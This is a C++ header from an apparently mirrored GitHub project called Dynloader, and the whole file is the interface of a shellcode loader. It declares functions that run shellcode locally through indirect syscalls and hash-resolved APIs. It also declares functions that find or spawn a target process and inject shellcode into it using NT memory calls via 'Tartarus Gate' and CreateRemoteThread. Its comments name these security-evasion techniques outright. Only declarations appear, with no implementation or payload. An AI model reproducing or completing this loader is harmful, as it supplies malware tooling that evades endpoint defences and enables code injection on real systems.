mirror of
https://github.com/AbishekPonmudi/Dynloader
synced 2026-07-15 03:39:09 +00:00
30 lines
984 B
C++
30 lines
984 B
C++
#pragma once
|
|
|
|
#include <Windows.h>
|
|
#include <string>
|
|
#include <vector>
|
|
|
|
#include "../lib/syscall/tartarus_gate.hpp"
|
|
|
|
namespace Ingestion {
|
|
|
|
struct RemoteTarget {
|
|
HANDLE hProcess = nullptr;
|
|
HANDLE hThread = nullptr;
|
|
DWORD pid = 0;
|
|
bool spawned = false;
|
|
};
|
|
|
|
// Local: indirect syscall alloc RW->RX + hash-resolved CreateThread.
|
|
bool RunLocal(TartarusGate::SyscallTable& sc, const std::vector<BYTE>& shellcode);
|
|
|
|
// Resolve PID by name (basename match) or numeric PID. Spawn headless if name missing.
|
|
bool AcquireTarget(TartarusGate::SyscallTable& sc, const std::string& target, RemoteTarget& out);
|
|
|
|
void ReleaseTarget(TartarusGate::SyscallTable& sc, RemoteTarget& target);
|
|
|
|
// Remote: NtAllocateVirtualMemory + NtWriteVirtualMemory + NtProtectVirtualMemory
|
|
// in target via Tartarus Gate + CreateRemoteThread (API hash).
|
|
bool RunRemote(TartarusGate::SyscallTable& sc, RemoteTarget& target, const std::vector<BYTE>& shellcode);
|
|
|
|
} // namespace Ingestion
|